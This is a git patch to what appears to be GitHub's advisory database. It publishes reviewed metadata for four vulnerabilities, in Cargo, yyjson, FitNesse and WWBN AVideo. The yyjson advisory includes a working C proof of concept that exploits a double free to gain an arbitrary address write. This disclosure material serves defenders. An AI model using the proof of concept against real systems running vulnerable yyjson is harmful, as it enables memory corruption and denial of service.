From 522427ccd12a7c9f60f74cbbe712db9e0379d666 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 29 Aug 2024 18:05:03 +0000 Subject: [PATCH] Publish Advisories GHSA-9f3p-wvj7-q82x GHSA-whx6-m9j4-w2m2 GHSA-x9r9-48rm-4xm6 GHSA-mv5w-wr5c-575p GHSA-whx6-m9j4-w2m2 --- .../GHSA-9f3p-wvj7-q82x.json | 27 ++++++- .../GHSA-whx6-m9j4-w2m2.json | 81 +++++++++++++++++++ .../GHSA-x9r9-48rm-4xm6.json | 33 ++++++-- .../GHSA-mv5w-wr5c-575p.json | 44 +++++++--- .../GHSA-whx6-m9j4-w2m2.json | 50 ------------ 5 files changed, 167 insertions(+), 68 deletions(-) rename advisories/{unreviewed => github-reviewed}/2022/05/GHSA-9f3p-wvj7-q82x/GHSA-9f3p-wvj7-q82x.json (81%) create mode 100644 advisories/github-reviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json rename advisories/{unreviewed => github-reviewed}/2024/03/GHSA-x9r9-48rm-4xm6/GHSA-x9r9-48rm-4xm6.json (59%) rename advisories/{unreviewed => github-reviewed}/2024/04/GHSA-mv5w-wr5c-575p/GHSA-mv5w-wr5c-575p.json (54%) delete mode 100644 advisories/unreviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json diff --git a/advisories/unreviewed/2022/05/GHSA-9f3p-wvj7-q82x/GHSA-9f3p-wvj7-q82x.json b/advisories/github-reviewed/2022/05/GHSA-9f3p-wvj7-q82x/GHSA-9f3p-wvj7-q82x.json similarity index 81% rename from advisories/unreviewed/2022/05/GHSA-9f3p-wvj7-q82x/GHSA-9f3p-wvj7-q82x.json rename to advisories/github-reviewed/2022/05/GHSA-9f3p-wvj7-q82x/GHSA-9f3p-wvj7-q82x.json index 42feea87376..2331ce25329 100644 --- a/advisories/unreviewed/2022/05/GHSA-9f3p-wvj7-q82x/GHSA-9f3p-wvj7-q82x.json +++ b/advisories/github-reviewed/2022/05/GHSA-9f3p-wvj7-q82x/GHSA-9f3p-wvj7-q82x.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-9f3p-wvj7-q82x", - "modified": "2024-04-04T02:06:30Z", + "modified": "2024-08-29T18:03:14Z", "published": "2022-05-24T16:57:30Z", "aliases": [ "CVE-2019-16760" ], + "summary": "Cargo prior to Rust 1.26.0 may download the wrong dependency", "details": "Cargo prior to Rust 1.26.0 may download the wrong dependency if your package.toml file uses the `package` configuration key. Usage of the `package` key to rename dependencies in `Cargo.toml` is ignored in Rust 1.25.0 and prior. When Rust 1.25.0 and prior is used Cargo may download the wrong dependency, which could be squatted on crates.io to be a malicious package. This not only affects manifests that you write locally yourself, but also manifests published to crates.io. Rust 1.0.0 through Rust 1.25.0 is affected by this advisory because Cargo will ignore the `package` key in manifests. Rust 1.26.0 through Rust 1.30.0 are not affected and typically will emit an error because the `package` key is unstable. Rust 1.31.0 and after are not affected because Cargo understands the `package` key. Users of the affected versions are strongly encouraged to update their compiler to the latest available one. Preventing this issue from happening requires updating your compiler to be either Rust 1.26.0 or newer. There will be no point release for Rust versions prior to 1.26.0. Users of Rust 1.19.0 to Rust 1.25.0 can instead apply linked patches to mitigate the issue.", "severity": [ { @@ -14,7 +15,25 @@ } ], "affected": [ - + { + "package": { + "ecosystem": "crates.io", + "name": "cargo" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.27.0" + } + ] + } + ] + } ], "references": [ { @@ -47,8 +66,8 @@ "CWE-494" ], "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2024-08-29T18:03:14Z", "nvd_published_at": "2019-09-30T22:15:00Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json b/advisories/github-reviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json new file mode 100644 index 00000000000..774945cf290 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-whx6-m9j4-w2m2", + "modified": "2024-08-29T18:04:24Z", + "published": "2024-02-29T03:33:18Z", + "aliases": [ + "CVE-2024-25713" + ], + "summary": "yyjson has a Double Free vulnerability", + "details": "### Summary\n\nThe pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks.\nArbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.\n\n### Details\n\nThe core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.\n\n### PoC\n\nBelow, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.\n\n```\n#include \n#include \"yyjson.h\"\n\nchar test[0x110];\nint64_t a=0xffffffff;\nint64_t b= (int64_t) test;\n\nint main() {\n\n size_t max_json_size = 64 * 1024;\n\n size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);\n\n void *buf = malloc(buf_size);\n\n yyjson_alc alc;\n yyjson_alc_pool_init(&alc, buf, buf_size);\n\n yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);\n yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);\n yyjson_mut_arr(p2);\n\n yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);\n\n yyjson_mut_doc_free(p2);\n yyjson_mut_doc_free(p2); // double free\n yyjson_mut_doc_free(p1);\n\n yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;\n\n\n for(int i=0;i<0x100;i++)test[i]= 'a';\n test[0x100]='\\00';\n char *payload_f = \"[%lld,43981]\";\n\n char payload[100];\n sprintf(payload,payload_f,&a);\n yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);\n\n yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);\n yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);\n yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);\n yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);\n for(int z=1;z<=100;z++)\n yyjson_mut_int(p8,0x63636363);\n\n printf(\"%s\",test);\n free(buf);\n return 0;\n}\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n## Note from yyjson\nyyjson_mut_doc_free() is well-documented:\nhttps://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093\n\n```\n/** Release the JSON document and free the memory.\n After calling this function, the `doc` and all values from the `doc` are no\n longer available. This function will do nothing if the `doc` is NULL. */\nvoid yyjson_mut_doc_free(yyjson_doc *doc);\n```\nIf you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid.\nAny further operation on the doc or its values is undefined behavior.\n\nWhile this is not a bug in yyjson itself, a defensive patch has been provided: [0eca326](https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e)\nIf you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation,\nthis patch will cause your program to crash immediately, alerting you to the incorrect usage.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "SwiftURL", + "name": "github.com/ibireme/yyjson" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ibireme/yyjson/security/advisories/GHSA-q4m7-9pcm-fpxh" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25713" + }, + { + "type": "WEB", + "url": "https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ibireme/yyjson" + }, + { + "type": "WEB", + "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6KQ67T4R7QEWURW5NMCCVLTBASL4ECHE" + }, + { + "type": "WEB", + "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NNICQVIF7BRYFWYRL3HPVAJIPXN4OVTX" + }, + { + "type": "WEB", + "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TKQPEREDUDKGYJMFNFDQVYCVLWDRO2Y2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-08-29T18:04:24Z", + "nvd_published_at": "2024-02-29T01:44:16Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2024/03/GHSA-x9r9-48rm-4xm6/GHSA-x9r9-48rm-4xm6.json b/advisories/github-reviewed/2024/03/GHSA-x9r9-48rm-4xm6/GHSA-x9r9-48rm-4xm6.json similarity index 59% rename from advisories/unreviewed/2024/03/GHSA-x9r9-48rm-4xm6/GHSA-x9r9-48rm-4xm6.json rename to advisories/github-reviewed/2024/03/GHSA-x9r9-48rm-4xm6/GHSA-x9r9-48rm-4xm6.json index 40928400ff5..8923a5dc5f3 100644 --- a/advisories/unreviewed/2024/03/GHSA-x9r9-48rm-4xm6/GHSA-x9r9-48rm-4xm6.json +++ b/advisories/github-reviewed/2024/03/GHSA-x9r9-48rm-4xm6/GHSA-x9r9-48rm-4xm6.json @@ -1,20 +1,43 @@ { "schema_version": "1.4.0", "id": "GHSA-x9r9-48rm-4xm6", - "modified": "2024-08-28T18:31:53Z", + "modified": "2024-08-29T18:02:50Z", "published": "2024-03-18T09:30:30Z", "aliases": [ "CVE-2024-28125" ], + "summary": "FitNesse allows execution of arbitrary OS commands", "details": "FitNesse all releases allows a remote authenticated attacker to execute arbitrary OS commands.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" } ], "affected": [ - + { + "package": { + "ecosystem": "Maven", + "name": "org.fitnesse:fitnesse" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "20240707" + } + ] + } + ] + } ], "references": [ { @@ -22,7 +45,7 @@ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28125" }, { - "type": "WEB", + "type": "PACKAGE", "url": "https://github.com/unclebob/fitnesse" }, { @@ -43,8 +66,8 @@ "CWE-77" ], "severity": "CRITICAL", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2024-08-29T18:02:50Z", "nvd_published_at": "2024-03-18T08:15:06Z" } } \ No newline at end of file diff --git a/advisories/unreviewed/2024/04/GHSA-mv5w-wr5c-575p/GHSA-mv5w-wr5c-575p.json b/advisories/github-reviewed/2024/04/GHSA-mv5w-wr5c-575p/GHSA-mv5w-wr5c-575p.json similarity index 54% rename from advisories/unreviewed/2024/04/GHSA-mv5w-wr5c-575p/GHSA-mv5w-wr5c-575p.json rename to advisories/github-reviewed/2024/04/GHSA-mv5w-wr5c-575p/GHSA-mv5w-wr5c-575p.json index 0d98d08c729..937527722df 100644 --- a/advisories/unreviewed/2024/04/GHSA-mv5w-wr5c-575p/GHSA-mv5w-wr5c-575p.json +++ b/advisories/github-reviewed/2024/04/GHSA-mv5w-wr5c-575p/GHSA-mv5w-wr5c-575p.json @@ -1,26 +1,56 @@ { "schema_version": "1.4.0", "id": "GHSA-mv5w-wr5c-575p", - "modified": "2024-08-28T21:31:27Z", + "modified": "2024-08-29T18:03:35Z", "published": "2024-04-10T21:30:34Z", "aliases": [ "CVE-2024-31819" ], + "summary": "WWBN AVideo Remote Code Execution", "details": "An issue in WWBN AVideo v.12.4 through v.14.2 allows a remote attacker to execute arbitrary code via the systemRootPath parameter of the submitIndex.php component.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" } ], "affected": [ - + { + "package": { + "ecosystem": "Packagist", + "name": "wwbn/avideo" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "12.4" + }, + { + "fixed": "14.3" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 14.2" + } + } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31819" }, + { + "type": "WEB", + "url": "https://github.com/WWBN/AVideo/commit/fcb1f79278684f02ee59130dc0304bd063d9d6d7" + }, { "type": "WEB", "url": "https://chocapikk.com/posts/2024/cve-2024-31819" @@ -30,11 +60,7 @@ "url": "https://github.com/Chocapikk/CVE-2024-31819" }, { - "type": "WEB", - "url": "https://github.com/WWBN" - }, - { - "type": "WEB", + "type": "PACKAGE", "url": "https://github.com/WWBN/AVideo" } ], @@ -43,8 +69,8 @@ "CWE-94" ], "severity": "CRITICAL", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2024-08-29T18:03:35Z", "nvd_published_at": "2024-04-10T20:15:08Z" } } \ No newline at end of file diff --git a/advisories/unreviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json b/advisories/unreviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json deleted file mode 100644 index 0b10f95a25b..00000000000 --- a/advisories/unreviewed/2024/02/GHSA-whx6-m9j4-w2m2/GHSA-whx6-m9j4-w2m2.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-whx6-m9j4-w2m2", - "modified": "2024-08-29T00:31:34Z", - "published": "2024-02-29T03:33:18Z", - "aliases": [ - "CVE-2024-25713" - ], - "details": "yyjson through 0.8.0 has a double free, leading to remote code execution in some cases, because the pool_free function lacks loop checks. (pool_free is part of the pool series allocator, along with pool_malloc and pool_realloc.)", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L" - } - ], - "affected": [ - - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/ibireme/yyjson/security/advisories/GHSA-q4m7-9pcm-fpxh" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25713" - }, - { - "type": "WEB", - "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6KQ67T4R7QEWURW5NMCCVLTBASL4ECHE" - }, - { - "type": "WEB", - "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NNICQVIF7BRYFWYRL3HPVAJIPXN4OVTX" - }, - { - "type": "WEB", - "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TKQPEREDUDKGYJMFNFDQVYCVLWDRO2Y2" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-94" - ], - "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2024-02-29T01:44:16Z" - } -} \ No newline at end of file